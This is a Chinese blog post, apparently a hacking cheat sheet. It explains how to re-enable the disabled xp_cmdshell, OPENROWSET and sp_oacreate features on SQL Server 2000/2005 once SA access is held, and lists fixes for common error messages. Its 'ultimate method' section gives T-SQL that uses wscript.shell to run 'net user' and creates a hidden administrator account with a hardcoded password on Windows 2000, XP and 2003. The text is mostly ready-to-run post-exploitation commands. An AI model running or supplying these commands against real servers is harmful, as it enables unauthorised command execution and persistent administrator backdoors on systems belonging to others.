突破SQL的xp_cmdshell恢复终极方法

突破SQL的xp_cmdshell恢复终极方法

sql server 2005下开启xp_cmdshell的办法

以下是引用片段:
EXEC sp_configure ’show advanced options’, 1;RECONFIGURE;EXEC sp_configure ’xp_cmdshell’, 1;RECONFIGURE;

SQL2005开启'OPENROWSET'支持的方法:

以下是引用片段:
exec sp_configure ’show advanced options’, 1;RECONFIGURE;exec sp_configure ’Ad Hoc Distributed Queries’,1;RECONFIGURE;

SQL2005开启'sp_oacreate'支持的方法:

以下是引用片段:
exec sp_configure ’show advanced options’, 1;RECONFIGURE;exec sp_configure ’Ole Automation Procedures’,1;RECONFIGURE;

突破SA的各种困难, 常见情况恢复执行xp_cmdshell

1 未能找到存储过程'master..xpcmdshell'.
恢复方法:查询分离器连接后,
第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
然后按F5键命令执行完毕

2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)
恢复方法:查询分离器连接后,
第一步执行:sp_dropextendedproc "xp_cmdshell"
第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
然后按F5键命令执行完毕

3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)
恢复方法:查询分离器连接后,
第一步执行:exec sp_dropextendedproc 'xp_cmdshell'
第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'
然后按F5键命令执行完毕

4.终极方法.
如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:
查询分离器连接后,
2000servser系统:
以下是引用片段:
declare @shell int exec sp_oacreate ’wscript.shell’,@shell output exec sp_oamethod @shell,’run’,null,’c:/winnt/system32/cmd.exe /c net user dell huxifeng007 /add’

declare @shell int exec sp_oacreate ’wscript.shell’,@shell output exec sp_oamethod @shell,’run’,null,’c:/winnt/system32/cmd.exe /c net localgroup administrators dell /add’


xp或2003server系统:

以下是引用片段:
declare @shell int exec sp_oacreate ’wscript.shell’,@shell output exec sp_oamethod @shell,’run’,null,’c:/windows/system32/cmd.exe /c net user dell huxifeng007 /add’

declare @shell int exec sp_oacreate ’wscript.shell’,@shell output exec sp_oamethod @shell,’run’,null,’c:/windows/system32/cmd.exe /c net localgroup administrators dell /add’
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值